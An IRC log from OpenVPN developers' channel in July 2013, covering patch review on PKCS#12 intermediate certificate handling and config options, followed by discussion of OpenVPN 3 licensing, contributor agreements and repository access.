4.0+ - Google Project Hosting (at code.google.com) 13:33 <@cron2> so if you can upgrade the client, you wouldn't need the option to be ignored 13:33 <@jamesyonan> plaisthos: what about "ignore-unknown-option" itself crashing earlier OpenVPN versions that don't recognize it? 13:33 <@plaisthos> jamesyonan: sure that is a valid option 13:34 <@jamesyonan> that's why i put "setenv" in my "setenv opt" patch 13:34 <@plaisthos> jamesyonan: I thought as a nicer alternative to setenv opt 13:34 <@plaisthos> a nicer alternative that works on 2.3+ 13:34 <@cron2> plaisthos: but that's a different case again, a pure client importing a ill-understood config that has server-side stuff in it... 13:35 <@plaisthos> cron2: that are all cleint options ;) 13:35 <@cron2> indeed 13:36 <@plaisthos> only as an idea how big the list could be 13:36 <@cron2> but anyway, that's a really special case and not the usage case envisioned for this option: new options that are not *yet* available on clients (as opposed to "will never show up because the platform does it in a different way") 13:36 <@plaisthos> yeah. 13:37 <@plaisthos> But I could (ab)use that option or setenv opt to build a multi platform config 13:38 <@plaisthos> Or do something like routes 13:38 <@plaisthos> ignore-max-options 200 13:38 <@cron2> yes 13:42 <@mattock> did my IRC client freeze, or did everyone freeze? :P 13:43 <@plaisthos> mattock: everyone 13:43 <@mattock> lol 13:43 <@mattock> ok, so did we reach some sort of consensus, or is everyone pondering what to do with this? 13:43 <@plaisthos> I will try to build a better understandle version of the patch 13:43 <@mattock> ok, let's move on, then 13:44 <@mattock> ​ [PATCH] Always load intermediate certificates froma PKCS#12 file: http://news.gmane.org/find-root.php?message_id=%3Calpine.DEB.2.02.1306201400320.10116@jazz.he.fi%3E 13:44 < vpnHelper> Title: Gmane Loom (at news.gmane.org) 13:44 <@mattock> this got a feature-ACK already 13:44 <@mattock> if I recall correctly, some minor changes were requested 13:44 <@mattock> yes, andj said: "One minor nit-picky point: there's a bit of whitespace fixing in there with an extra newline, not sure whether that should be in a separate patch. " 13:45 <@mattock> also, it lacks testing 13:46 <@mattock> maybe we should ask somebody on users list to test this? 13:46 <@mattock> see if it works as it's supposed 13:46 <@mattock> I can try to compile it now, though 13:49 <@cron2> compiling the code is easy, but I can't say I understand the code, so someone with crypto understanding needs to ACK it 13:49 <@cron2> we should poke andj or syzzer... 13:49 <@dazo> or jamesyonan :) 13:49 <@mattock> yeah 13:49 <@cron2> or james :) 13:49 * syzzer wakes up 13:49 <@mattock> jamesyonan: care to take a look? 13:50 <@jamesyonan> looking... 13:50 <@cron2> syzzer: patch is at the URL posted by mattock at 20:44 :) 13:50 < syzzer> I could take a look, but James probably has a better understanding of openssl 13:53 <@jamesyonan> so if I understand this correctly, if PKCS#12 intermedate certs are not used for trust, this patch will add them to the "extra-certs" list so they can be transmitted to server as supporting certs for the client cert? 13:54 <@plaisthos> jamesyonan: right 13:54 <@plaisthos> (At least what I understood) 13:54 <@dazo> Hes: you around? 13:54 <@dazo> (that's the guy behind this patch) 13:56 <@dazo> jamesyonan: iirc, the use case is that a 3rd party CA provides personal certificates, with a CA certificate embedded ... but the openvpn server uses a certificate from their own CA ... so it's to avoid rejecting valid client certificates 13:57 <@jamesyonan> right, that's what "extra-certs" option is for 13:57 <@plaisthos> and the 3rd party ca "randomly" changes the intermediate certificates but put them into the p12 file 13:57 <@dazo> right, and this particular CA provides only PKCS#12 files .... 13:57 <@dazo> right 13:58 <@jamesyonan> what option is used to trigger this feature 13:58 <@jamesyonan> i.e. what causes load_ca_file to be false 13:58 < syzzer> not 'only PKCS#12 files' iirc, but that's just the convenient format for the users 13:59 <@plaisthos> jamesyonan: If <ca> is also present the intermediate certificates of the pkcs12 files are ignored 14:00 <@jamesyonan> we need to think this through so it does the right thing on OpenVPN 2/3 and OpenSSL/PolarSSL 14:01 <@dazo> currently polarssl have no pkcs#12 support ... but agreed on 2/3 14:01 <@mattock> hmm, I'm having issues applying the patch on top of master and release/2.3 branches 14:01 <@jamesyonan> for example on mobile, PKCS#12 files are usually accessed via OS-level keychain 14:02 <@plaisthos> yes 14:03 <@plaisthos> we should do the same logic for them as for /real/ pkcs12 files 14:03 <@plaisthos> I don't know iOS but Anroid does also provide the certificate chain 14:03 <@mattock> ah, the email client cut the lines short 14:04 <@jamesyonan> another example of where this could break things -- on iOS it's normal to include <ca> along with a keychain-stored PKCS12 because ios (as of iOS 6) doesn't give the app the ability to extract the intermediate certs from the PKCS12 14:04 <@jamesyonan> maybe there should be an explicit option for this such as extra-certs-pkcs12 14:05 <@jamesyonan> to tell OpenVPN to add the PKCS12 intermediates to extra-certs list rather than ca list 14:06 < vpnHelper> RSS Update - testtrac: TLS version negotiation <https://github.com/OpenVPN/openvpn/commit/4b67f9849ab3efe89268e01afddc7795f38d0f64> 14:07 <@jamesyonan> I guess I would say that I'm unsatisified with the implicit nature of the option, where the option is enabled if ca is not used 14:08 <@dazo> fair enough 14:09 <@mattock> so explicit option (extra-certs-pkcs12) 14:09 <@mattock> also I didn't manage to apply the patch easily from an MBOX file 14:09 <@mattock> could be some formatting issue 14:10 <@plaisthos> what is doneside of always adding them to the extra list? 14:10 <@plaisthos> does it hurt? 14:11 <@plaisthos> the presence of the ca does only change if the certificates of the pkcs12 are trusted or untrusted 14:11 < syzzer> they are always added 14:11 < syzzer> just not trusted when a ca is supplied separately 14:11 <@cron2> syzzer: but that's *with* the patch, isn't it? 14:11 < syzzer> yes 14:11 <@jamesyonan> what if you have a ca directive but you also want to specify extra-certs-pkcs12 14:12 <@jamesyonan> or what if you have a pkcs12 file and you want to ignore all but the leaf cert? 14:12 < syzzer> if your want to also add the certificates from the pks12 as trusted you mean? 14:12 <@plaisthos> jamesyonan: like trusting the ca *and* the pkcs12 certificates? 14:13 <@jamesyonan> well the use case is where the client and server use different CA chains 14:13 <@plaisthos> jamesyonan: yes that is the use case of the patch submitter 14:13 < syzzer> yes, where the itermediate ca's from the client's might differ, but their always rooted at a known cert 14:14 <@plaisthos> jamesyonan: they set --ca to the CA of the other endpoint 14:14 <@plaisthos> but need reading the certs from the pkcs12 so the server also get the intermediate certificate 14:14 < syzzer> so you can add the known root cert as an extra cert to your server and with this patch have the clients push their intermediates to the server to complete the chain 14:15 <@jamesyonan> yes, I do agree that the feature is useful, I'm just not sure if making it implicit is the right thing to do 14:16 <@plaisthos> I think current behaviour is worse. 14:17 <@plaisthos> where it completly ignores the pkcs12 extra certs if the --ca option is set 14:17 < syzzer> I agree with plaisthos 14:17 <@jamesyonan> because by making it implicit you are creating a feature that now causes pkcs12/ca behavior on OpenVPN 2 + OpenSSL to diverge from OpenVPN 3 or PolarSSL usage 14:17 < syzzer> current behaviour is 'parse the pkcs12 only if no ca is supplied' 14:17 < syzzer> new behaviour would be 'trust certs from the pkcs12 only if no ca is supplied' 14:18 < syzzer> but I also agree this implicit behaviour is not very likable 14:18 <@jamesyonan> whereas if you add it as an explicit option, then other platforms/SSL libraries can implement it in their own time without creating any incompatibilties with existing ca/pkcs12 semantics 14:19 <+krzee> sounds like a good case for explicit to me 14:19 <@mattock> yep 14:19 <@mattock> so make this an explicit option 14:19 < syzzer> what about the current implicit behaviour? 14:19 <@mattock> and fix the funky formatting of the patch... I doubt it was just me 14:20 <@cron2> mattock: if it applied from MBOX, it's just you 14:21 * plaisthos still feels that more a bugfix then a new feature 14:21 <@mattock> somebody else might want to take a shot at applying it, so that if the patch is indeed borked Hes won't accidentally send another broken patch 14:21 <@plaisthos> I mean it is the expected behaviour 14:22 <@plaisthos> at least what I expect from other software that uses TLS 14:22 <@plaisthos> that will also always try to send the extra intermediate certificates to the server (as a client) 14:23 <@jamesyonan> but the feature is being controlled via whether ca directive is present or not 14:25 <@jamesyonan> I actually do agree that expected behavior would be to send full PKCS12 list of CAs to server as supporting chain for client cert, but I don't see why the presence of ca option should affect this 14:26 <@jamesyonan> because "ca" should be used to provide certs that validate server while "extra-certs" and pkcs12 should be used as supporting certs for client cert 14:26 <@plaisthos> jamesyonan: I see the current situation as follows: CUrrently the client sends the correct list of cert if only --pkcs12 is present. If you add a ca option to that working configuration (to do a stricter server validation) the client stops sending the full cert list 14:26 <@jamesyonan> but when a client-cert-side option is being controlled by a server-cert-side option (ca), that seems wrong 14:27 < syzzer> but this patch should fix exactly that issue, right? 14:28 < syzzer> because now the certs from the pkcs12 are only sent when no ca is supplied, while after this patch they are always sent 14:28 <+krzee> syzzer, right, but is it a "feature" or a "bugfix" ? 14:28 < syzzer> I'd say bugfix 14:28 <+krzee> or a feature added to fix a big :D 14:28 <+krzee> bug* 14:29 < syzzer> as right now the intermediates might be ignored, while they might be needed to verify the chain 14:31 -!- Netsplit *.net <-> *.split quits: MeanderingCode 14:33 <@mattock> so it the new implicit behavior in this patch more correct than before it? 14:34 < syzzer> yes, I think so 14:34 < syzzer> there's less implicit behaviour 14:34 <@mattock> so applying the patch as-is actually makes sense? 14:35 <@mattock> rather than make it explicit 14:35 <@mattock> or should we have an explicit option + change the implicit behavior? 14:35 < syzzer> before it's 'if ca is set, then do not load intermediates from pkcs12', while after it's 'if ca is set, then do not trust intermediates from pkcs12' 14:36 <@mattock> and we don't want that 14:36 * plaisthos does not see why the current behaviour could be desirable 14:36 <+krzee> <jamesyonan> because by making it implicit you are creating a feature that now causes pkcs12/ca behavior on OpenVPN 2 + OpenSSL to diverge from OpenVPN 3 or PolarSSL usage 14:36 <@mattock> ah, that one 14:37 <@plaisthos> apart from saving a few bytes in the initial connection 14:37 < syzzer> polarssl doesn't do pkcs12 at all, right/ 14:37 <@mattock> I don't think so, atm 14:37 <@dazo> syzzer: that's right 14:37 <@mattock> https://polarssl.org/discussions/generic/how-to-support-pkcs12-file 14:37 <+krzee> hah im obviously confused, i thought syzzer was the polarssl guy :D 14:37 < vpnHelper> Title: how to support pkcs#12 file ? - Discussion Forum - PolarSSL (at polarssl.org) 14:37 <@mattock> "no" 14:37 <@jamesyonan> I think PolarSSL is adding PKCS12 support soon 14:37 <@dazo> yeah, I think so too 14:38 < syzzer> " msg(M_FATAL, "PKCS #12 files not yet supported for PolarSSL.");" 14:38 <@mattock> does that in any way affect the possible ACK/merge of this patch? 14:38 <@jamesyonan> I do tend to agree that this might be viewed as a bugfix 14:38 < syzzer> so the polarssl bahaviour could be made to match the openssl implementation 14:38 -!- MeanderingCode [~Meanderin@cedarpark.aetherislands.net] has joined #openvpn-devel 14:38 <@mattock> jamesyonan: what about openvpn 3? change the implicit behavior to what this patch introduces? 14:39 <@jamesyonan> since in both cases of ca present and not present the patch will still send intermediate certs to server, which is expected behavior 14:39 < syzzer> yup 14:39 <@jamesyonan> OpenVPN 3 currently only supports PKCS12 through an OS-level keychain 14:39 <@mattock> ah 14:39 <@mattock> so no problem there, I presume 14:40 <@mattock> so if I've read correctly behind the lines, it's an ACK then 14:42 < syzzer> let's make that explicit then. ACK from me. 14:42 <@mattock> ACK from jamesyonan, plaisthos and syzzer? 14:42 <@jamesyonan> this is the current openvpn 3 logic: Get the supporting chain (i.e. PKCS12 intermediate certs), if it exists, and use it for ca (if ca isn't defined), or otherwise use it for extra-certs (if ca is defined but extra-certs is not). 14:43 <@plaisthos> So we should add the patch 14:43 <@jamesyonan> but there's a hiccup in the logic for iOS because iOS currently can't provide the app with the CA and intermediate certs stored in a PKCS#12 that was imported into the iOS keychain 14:44 <@plaisthos> only question left is if specifying extra-certs should have an effect on the implement pkcs12 loading 14:44 <@jamesyonan> so yes, it does look like this patch implements what openvpn 3 is already doing 14:45 < syzzer> plaisthos: I don't think extra-certs should affect the import of 'extra-certs' from pkcs12 14:45 < syzzer> their not trusted, just extra 14:45 <@plaisthos> syzzer: okay 14:46 -!- andj__ [~adriaan@openvpn/community/developer/andj] has joined #openvpn-devel 14:46 -!- mode/#openvpn-devel [+o andj__] by ChanServ 14:47 <@jamesyonan> openvpn 3 would append the PKCS12 ca and intermediate certs to any existing extra-certs 14:47 < syzzer> does it still mark the ca as trusted? 14:47 < syzzer> the pkcs12 ca I mean? 14:49 <@jamesyonan> in openvpn 3, the pkcs12 ca is only regarded as trusted if "ca" option is absent 14:50 < syzzer> good, then behaviour matches 14:52 <@cron2> sounds ACKy to me :) 14:52 -!- andj [~adriaan@openvpn/community/developer/andj] has quit [Ping timeout: 246 seconds] 14:52 -!- Hes [PjDr7@tunkki.fi] has quit [Ping timeout: 246 seconds] 14:52 -!- mattock [~mattock@openvpn/corp/admin/mattock] has quit [Ping timeout: 246 seconds] 14:52 -!- d12fk [~heiko@exit0.net] has quit [Ping timeout: 246 seconds] 14:52 -!- andj__ is now known as andj 14:53 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 14:53 -!- mode/#openvpn-devel [+o mattock] by ChanServ 14:54 <@mattock> uh, freenode froze 14:54 <@mattock> was it just me? 14:54 < syzzer> you've missed out on silence ;) 14:54 <@mattock> I had plenty of silence 14:54 < syzzer> nopes, 4 quits at the same time 14:54 <@mattock> ok, that explains it 14:55 <@mattock> I thought all of you went to sleep without further comment :P 14:55 <@cron2> I'm still here, and those that went away (except for mattock) didn't say anything anyway :) 14:55 <@mattock> ok, so ACK the last patch (syzzer, jamesyonan, plaisthos) and call it a day 14:56 <@mattock> continue in next meeting that would be nice to have next week 14:56 <@mattock> ok? 14:56 <@plaisthos> ok 14:56 < syzzer> I'll try, can't promise 14:56 <@mattock> ok, np 14:56 <@cron2> mattock: sounds good to me 14:57 <@mattock> I think the almost weekly meetings were really useful, and we should aim for that if we wish to keep the wheels moving 14:57 <@mattock> I recall we sometimes could get through a meeting in less than an hour even :) 14:57 < syzzer> btw, I believe the patch from https://community.openvpn.net/openvpn/ticket/304 can be applied too 14:57 < vpnHelper> Title: #304 (List or indicator of supported tls/ciphers/hashes) – OpenVPN Community (at community.openvpn.net) 14:58 <@mattock> anyways, thanks guys and have good night! 14:58 <@mattock> I'll write the summary tomorrow 14:58 < syzzer> good night! :) 14:59 <@cron2> syzzer: could you ack it in the trac ticket? 15:00 <@cron2> (or on the list?) 15:02 < syzzer> I already did in the ticket, this afternoon 15:02 <@cron2> oh, cool 15:02 * cron2 has too many interrupts to focus on anything these days, which is extremely annoying 15:03 < syzzer> hehe, sounds pretty familiar 15:16 -!- dazo is now known as dazo_afk 18:49 -!- jamesyonan [~jamesyona@c-24-9-78-222.hsd1.co.comcast.net] has quit [Quit: jamesyonan] 20:22 -!- raidz is now known as raidz_away --- Day changed Fri Jul 12 2013 01:05 <@mattock> it seems "setenv opt" was not yet merged: https://github.com/jamesyonan/openvpn/commit/27713761e4110bb92f1c6dfe85db291e8c6e0f56 01:05 < vpnHelper> Title: Added "setenv opt" directive prefix. If present, and if the · 2771376 · jamesyonan/openvpn · GitHub (at github.com) 01:19 <@mattock> summary away 01:25 <@mattock> updated patch tracking page: https://community.openvpn.net/openvpn/wiki/Patches 01:25 < vpnHelper> Title: Patches – OpenVPN Community (at community.openvpn.net) 01:48 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has joined #openvpn-devel 01:53 -!- trispace [~trispace@chello212017114137.18.11.vie.surfer.at] has quit [] 02:02 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 02:36 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Read error: Operation timed out] 02:38 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 02:39 -!- riddle [riddle@us.yunix.net] has quit [Ping timeout: 245 seconds] 02:40 -!- riddle [riddle@us.yunix.net] has joined #openvpn-devel 03:42 -!- dazo_afk is now known as dazo 04:12 -!- mattock_afk [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 04:12 -!- mode/#openvpn-devel [+o mattock_afk] by ChanServ 04:12 -!- mattock_afk is now known as mattock 05:30 < Whoopie> syzzer: my issue is solved with latest update to "OpenVPN Connect 1.1.12 build 45". No need to look into it. Yeah! 06:49 <@cron2> mmmh. We should have noticed that you said "OpenVPN Connect" - that's the OpenVPN 3 code base, so it doesn't really help looking into the 2.3.x code base... 06:58 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has quit [Ping timeout: 245 seconds] 07:00 -!- jgeboski [~jgeboski@unaffiliated/jgeboski] has joined #openvpn-devel 08:07 < syzzer> well, the server was openvpn 2.3.2, which also could have been the culprit. 08:08 < syzzer> but fortunatle it wasn't, and I didn't put much effort in it yet :) 09:06 < Whoopie> cron2: is the github repository the openvpn 3 code base? 09:06 < Whoopie> syzzer: hehe 09:07 <@plaisthos> Whoopie: no 09:08 <@plaisthos> OpenVPN 3 and OpenVPN 2.3 have completly different codebases 09:08 < Whoopie> and where can it be found? 09:08 <@plaisthos> There is no official release of OpenVPN 3 code base as far as I know 09:12 < Whoopie> ok 09:15 <@plaisthos> there is (outdated?) version here: http://staging.openvpn.net/openvpn3/ 09:15 < vpnHelper> Title: OpenVPN 3 (at staging.openvpn.net) 10:15 <@mattock> I've asked james a couple of times to put the openvpn 3 codebase to Git, but so far no results 10:16 <@mattock> I think the reason is that he has it in SVN atm, and he would have to change other stuff (e.g. scripts) to work with Git 10:16 <@mattock> I could put a relatively recent version to Git myself, but that's not a good long-term solution 10:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has left #openvpn-devel [] 10:18 -!- mattock [~mattock@openvpn/corp/admin/mattock] has joined #openvpn-devel 10:19 -!- mode/#openvpn-devel [+o mattock] by ChanServ 10:24 -!- raidz_away is now known as raidz 10:54 <@plaisthos> mattock: yeah. :/ 11:03 <@ecrist> could he make the SVN tree available publicly somewhere? 11:03 <@ecrist> or even privately on our community infrastructure? 11:16 <@pekster> Depends on how complicated the svn infra is; is the goal is to put it on github anyway, a temporary svn-to-git dump could suffice, at least from the current development status 11:17 <@pekster> (as in porting them from svn to git until git is used for primary development anyway) 11:21 <@plaisthos> James also mentioned that he wanted to have the commiter agreement before having a full public release 11:21 <@plaisthos> When people start commiting without that there will be two OpenVPN 3 forks 11:22 <@dazo> that's because they went for the AGPL license, or was it some other? 11:25 <+krzee> is it for apple store compliance cause they hate oss? :D 11:27 <@mattock> ecrist: there's proprietary stuff such as the Access Server source code in the same SVN repo 11:27 <@mattock> so openvpn 3.0 has got to be split from that repo first 11:28 <@plaisthos> dazo: yeah because they did not went for BSD license 11:28 <@dazo> I don't remember exactly, but the OpenVPN 3 client code base is basically just a library ... the iOS client GUI cannot be opened up, as that would reveal code which they have a NDA on (the VPN API) ... but the OpenVPN 3 client/library code base should be able to be more open 11:29 <@mattock> I fear a contributor agreement could still effectively lead into separate community distribution with patches laid over the top of a core owned by openvpn tech 11:29 <@dazo> mattock: how did Access Server code happen to enter the openvpn 3 code base? 11:29 <@dazo> well, I'll say it clearly ... I will not contribute to a project which has a contributor agreement 11:29 <@mattock> depending on how easy it's to contribute to openvpn 3 without signing the agreement 11:29 <@plaisthos> so they require a committer agreement that if someone else send patches the company retains the right to publish it under a different license 11:29 <@mattock> dazo: yes, exactly, and many are of the same opinion 11:30 <@mattock> I wouldn't, either 11:30 <@dazo> plaisthos: right! That sounds familiar 11:31 <@mattock> but we'll see where it goes... I have a hunch openvpn 3 will have hard time winning over developers (current or future) 11:31 <@dazo> on a separate note .... I'd rather see Access Server opening up instead 11:31 <@mattock> I hope James will keep it a client-only implementation 11:32 <@mattock> oh, Access Server... it just happens to be stored in the same SVN tree as OpenVPN 3, afaik 11:32 <@mattock> there's no other relation 11:32 <@dazo> well, as he sits on his own private OpenVPN 3 tree .... there's no reason whatsoever to try to contribute there at all 11:32 <@mattock> currently money comes from selling AS licenses, not support... so opening it up is fairly unlikely 11:33 <@mattock> yep, that's why I've pushed him to put it to git 11:33 <@mattock> that's the first step 11:33 <@mattock> but he is not too quick with these things, as you may have noticed 11:33 <@mattock> :P 11:33 <@dazo> yeah ..... 11:33 <@mattock> interestingly he did create a fork of OpenVPN code in GitHub all by himself 11:34 <@dazo> exactly 11:34 <@mattock> so he is moving forward 11:34 <@mattock> and he's been contributing patches to Git master 11:34 <@mattock> again a move forward 11:34 <@mattock> I just wish things could move forward a bit faster :D 11:34 <@dazo> but that's still the openvpn 2 code base .... so ... the whole thing is pretty confusing 11:35 <@mattock> it has always been confusing I think 11:35 <@mattock> and that's because there really isn't a great master plan, things just happen 11:36 <@mattock> so basically AS needs IPv6 support, so it needs 2.3, because 3.x does not have server-side support 11:36 <@dazo> well, I suggest that we put up a plan for the community edition in November 11:36 <@mattock> of openvpn 3.x? 11:36 <@dazo> and just ignore the company completely on the closed parts 11:36 <@dazo> nah, I don't care much for 3.x any more .... I have lost faith in seeing anything real happening here, tbh 11:37 <@mattock> what closed parts? access server? 11:37 <@dazo> the openvpn 3.x code .... the possible (but unclear) CLA requirements 11:38 <@dazo> we here talk about it, have an old copy laying around somewhere .... that's not contribution at all 11:38 <@dazo> or cooperation with the community' 11:39 <@dazo> s/we here/we hear/ 11:39 <@dazo> so instead, I suggest ... cut the crap ... and we'll set our own course, with our own speed ... we've waited too long for james to really catch up 11:41 <@mattock> you said you've lost interest in 3.x... do you mean the code, or the development model with CLAs and such? 11:42 <@dazo> that's basically the same thing, isn't it? have a look at the roadmap we put up on the wiki .... and where is the co-operation with the community after that point? 11:43 <@mattock> with 2.3 and later I think we've set our own course already... until very recently James hasn't done much for 2.3 11:43 <@mattock> yes, that "hey, I coded 3.0 in C++" was a big surprise for me 11:43 <@dazo> well, we haven't really been setting our own plans ... as we've been holding back to see what happens with 3.x 11:43 <@cron2> dazo: I can't see why you would want to let openvpn suffer for Apple stupidity 11:43 <@mattock> and definitely not a good move 11:43 <@cron2> the license thing is to be able to publish iOpenVPN as "closed source", which you just can't do with GPL 11:44 <@dazo> cron2: it's not so much about the Apple stupidity ... as the the 3.x code is a library and the GUI can be separated into something closed for iOS 11:44 <@mattock> yes, that's the primary reason at least... things like Windows Marketplace might come second 11:44 <@mattock> dazo: does the iMarket thing allow GPL libraries? 11:45 <@mattock> or is it all-out hostile against GPL / copyleft? 11:45 <@cron2> dazo: but you couldn't ship the library to Apple store if it's "just GPL", and if anyone contributes and does not agree to have it published under a closed source license *as well*, you can't accept their code 11:45 <@dazo> I don't think that's the main issue ... just look at all the GPLed stuff iOS consists of 11:45 <@cron2> mattock: iMarket requires "no modification" and GPL requires "no restrictions, full open" 11:45 <@cron2> dazo: it is 11:45 <@dazo> yukk 11:46 <@mattock> what GPL-licensed stuff is there in Apple Store / whatever? 11:46 <@cron2> like "no vlc for iOS due to license conflicts" - actually it's the GPL that hurts here 11:46 <@cron2> the GPL forbids adding any restrictions, so you can't put it into iMarket which says "no modifications allowed"... 11:46 <@cron2> yukk indeed, all that license crap is really just causing unnecessary work (like "a new implementation to satisfy iOS needs") 11:46 <@mattock> then again, I can't blame James for selecting a GPL-based license for 3.x, as companies like Apple would just steal a BSD-licensed codebase, generating 100 partially compatible forks of OpenVPN in a few years probably 11:47 <@cron2> that's what he said in Brussesl - he does not want to completely open it (=BSD) as then companies would just steal it 11:48 <@mattock> and regarding choosing our own route... we (=you) _are_ effectively in charge of OpenVPN's direction now 11:48 <@mattock> james plays catch-up with 3.x, because he has to maintain compatibility with 2.x 11:48 <@dazo> well, I'm don't really care much about the whole Apple platform ... so I don't know too much about those details ..... but in regards to openvpn 3.x, it's partly the CLA which is really making it not so interesting from my point of view ..... and the lack of a real visible commitment .... we get drops from the every now and then, especially when we begin to scream .... but we're still two separate islands with limited communication 11:48 <@mattock> I agree fully 11:49 <@cron2> dazo: well, Apple brings a huge user base, and that strengthens OpenVPN altogether (because it's the *only* VPN solution that covers all OSes including Android and iOS) 11:49 <@mattock> but I think the current situation is pretty good for the community due to the community calling the shots in practice 11:49 <@dazo> And I have personally been lingering with 2.x, as I thought we would start looking at the 3.x code base "soon" after FOSDEM .... 11:49 <@mattock> next to no-one (except iOS users) use 3.x 11:49 <@dazo> OpenVPN Connect 11:49 <@cron2> dazo: ... and to be fair, with the amount of business on *our* side, it's hardly fair to complain that james isn't moving :-) 11:50 <@mattock> the Win/OS X version of OpenVPN Connect is using 2.1.x and is moving to 2.3 11:50 <@mattock> only Android and iOS clients are using 3.x 11:50 <@cron2> but I can understand the frustration 11:50 <@mattock> yes, definitely 11:50 <@cron2> ... and now I have to leave and bring childs to bed... 11:50 <@mattock> ... and I have to go to the sauna :) 11:50 <@dazo> yeah, I know I haven't been doing too much this year .... much of which is this 3.x surprise we got ... and unclear directions where OpenVPN tech is moving forward 11:51 -!- Netsplit *.net <-> *.split quits: +krzee 11:52 <@mattock> let's not get overly frustrated... if you guys feel that the _codebase_ of 3.x is the right way forward, there still options between a fork and signing a CLA 11:52 <@mattock> I think James just "failed to mention" that he was developing 3.x in C++... he can be a strange man 11:53 <@mattock> I learned about it myself after it was at an alpha stage 11:53 <@dazo> mattock: right ... but if we're going to start our fork out of a single snapshot for 3.x .... is that really where we want to start a fork from? 11:53 <@mattock> nope, James has to put the code to Git 11:54 <@dazo> maybe we rather should clean up the 2.x code base and move that one forward towards our own 3.x? 11:54 <@dazo> right 11:54 <@mattock> that's also one option 11:55 <@dazo> and how long did we wait for him before he got a public 2.3 git tree out? .... I can't imagine we'll see a 3.x git tree this year 11:56 <@dazo> understand me correctly, I have deep respect for the work of James .... but it's just not really easy to cooperate fully with him, as you hear nothing for a long time .... and suddenly, he made something "out-of-the-blue" without mentioning anything 11:56 <@cron2> dazo: you really should spent the energy you put into being frustrated into coding! :-) 11:57 <@mattock> dazo: yes, I agree, it's very frustrating for me too 11:57 <@mattock> however 11:57 <@cron2> james is what he is, and we have known that for a while now, so this is not going to change - even if it's not easy 11:57 <@mattock> what I could do is get the 3.x code from SVN and make it a Git repo 11:57 <@mattock> and try to force-feed James to use that 11:57 <@mattock> I do have access to the internal SVN repo 11:58 <@dazo> I agree, cron2 .... which is why I think that for now, we should just ignore 3.x complete until the code is available and is updated regularly 11:58 <@mattock> usually James doesn't do stuff because he's busy doing other stuff and can't switch tasks 11:58 <@mattock> dazo: +1 11:58 <@pekster> mattock: https://gist.github.com/QueuingKoala/5985986 11:58 < vpnHelper> Title: awk script to clean up openvpn.8 man2html output (at gist.github.com) 11:58 <@pekster> That should clean up the raw output enough to copy/paste 11:58 <@mattock> pekster: thanks! 11:59 <@mattock> I will try to do the 3.x SVN -> Git migration myself, if that's ok for James (with history and all) 11:59 <@mattock> and until 3.x is in Git, we _should_ ignore it 11:59 <@mattock> James understands that 11:59 <@mattock> he's not stupid 11:59 <@dazo> mattock: if the code comes out ... there's still this CLA rumours which needs to be sorted out 12:00 <@dazo> and then the challenge with the 3.x code base .... client code only .... while we need to maintain the 2.x code which is client/server ... considering the amount of active developers we are on the community side, I struggle to see we have that much time/energy to be involved both places 12:01 <@mattock> afaik it's not a rumour... but whether the CLA really hurts depends on it's scope... for example, if you have a very small core which James can maintain himself and only that is under a CLA, then it's not _that_ bad 12:01 <@mattock> yes, only one codebase, definitely 12:01 <@mattock> so I'd still suggest ignoring 3.x for now 12:02 <@mattock> you guys are effectively determining the direction of openvpn now 12:02 <@mattock> with 2.4 12:02 <@mattock> whatever 3.x does, it has to stay compatible with 2.x 12:02 <@mattock> ok, _now_ I got to go 12:03 <@pekster> mattock: FYI, I'll upload my output for 2.3.2 to the wiki for the manpage (I used it to test, so it's just a c/p for me) 12:03 * dazo too 12:03 <@mattock> pekster: ok, thanks! 12:03 <@pekster> Feel free to use that in the future if you beat me to it (I'll add a URL reference to the wiki comments or something so we can find it again) 12:10 -!- dazo is now known as dazo_afk 14:25 -!- krzee [~k@openvpn/community/support/krzee] has joined #openvpn-devel 14:25 -!- mode/#openvpn-devel [+v krzee] by ChanServ 19:31 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has quit [Read error: Operation timed out] 19:51 -!- raidz is now known as raidz_away 19:52 -!- plaisthos [~arne@openvpn/community/developer/plaisthos] has joined #openvpn-devel 19:52 -!- mode/#openvpn-devel [+o plaisthos] by ChanServ --- Day changed Sat Jul 13 2013 05:42 -!- jamxNL [~jamx@086-194-045-062.dynamic.caiway.nl] has joined #openvpn-devel --- Day changed Sun Jul 14 2013 14:34 -!- mattock is now known as mattock_afk 21:23 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has quit [Read error: Operation timed out] 21:24 -!- ender^ [~ender1@2a01:260:4094:1:42:42:42:42] has joined #openvpn-devel --- Day changed Mon Jul 15 2013 01:04 -!- mattock_afk is now known as mattock 01:54 -!- mattock is now known as mattock_afk 02:03 -!- mattock_afk is now known as mattock 02:04 <@mattock> there is now a build of OpenVPN Connect for Mac OS X with OpenVPN 2.3 here: http://staging.openvpn.net/as/clients/2.0/ 02:04 < vpnHelper> Title: Index of /as/clients/2.0 (at staging.openvpn.net) 02:16 -!- mattock is now known as mattock_afk 02:28 -!- mattock_afk is now known as mattock 02:31 <@cron2> nice 02:40 <@plaisthos> nice I guess :) 02:41 <@plaisthos> not that I would that client ;) 02:52 -!- dazo_afk is now known as dazo 03:12 <@cron2> plaisthos: what are you using? "naked openvpn binary"? 03:35 <@plaisthos> cron2: Tunnelblick most times 03:35 <@plaisthos> or naked openvpn binary when I am developing 03:36 * cron2 likes Tunnelblick 06:07 -!- maofan [~maofan@203.70.194.104] has joined #openvpn-devel 06:07 -!- maofan [~maofan@203.70.194.104] has left #openvpn-devel [] 07:48 <@plaisthos> !Patches 07:48 <@cron2> there are no patches here 07:48 <@plaisthos> !learn patches as https://community.openvpn.net/openvpn/wiki/Patches 07:48 < vpnHelper> Joo got it. 07:48 <@plaisthos> !Patches 07:48 < vpnHelper> "Patches" is https://community.openvpn.net/openvpn/wiki/Patches 08:34 <@ecrist> !learn patches as http://secure-computing.net/files/patches.jpg 08:34 < vpnHelper> Error: You don't have the factoids.learn capability. If you think that you should have this capability, be sure that you are identified before trying again. The 'whoami' command can tell you if you're identified. 08:34 <@ecrist> fucking bot 08:34 <@cron2> haha :) 08:37 <@plaisthos> the bot saw your jpeg and chickend out 08:37 <@ecrist> probably 08:37 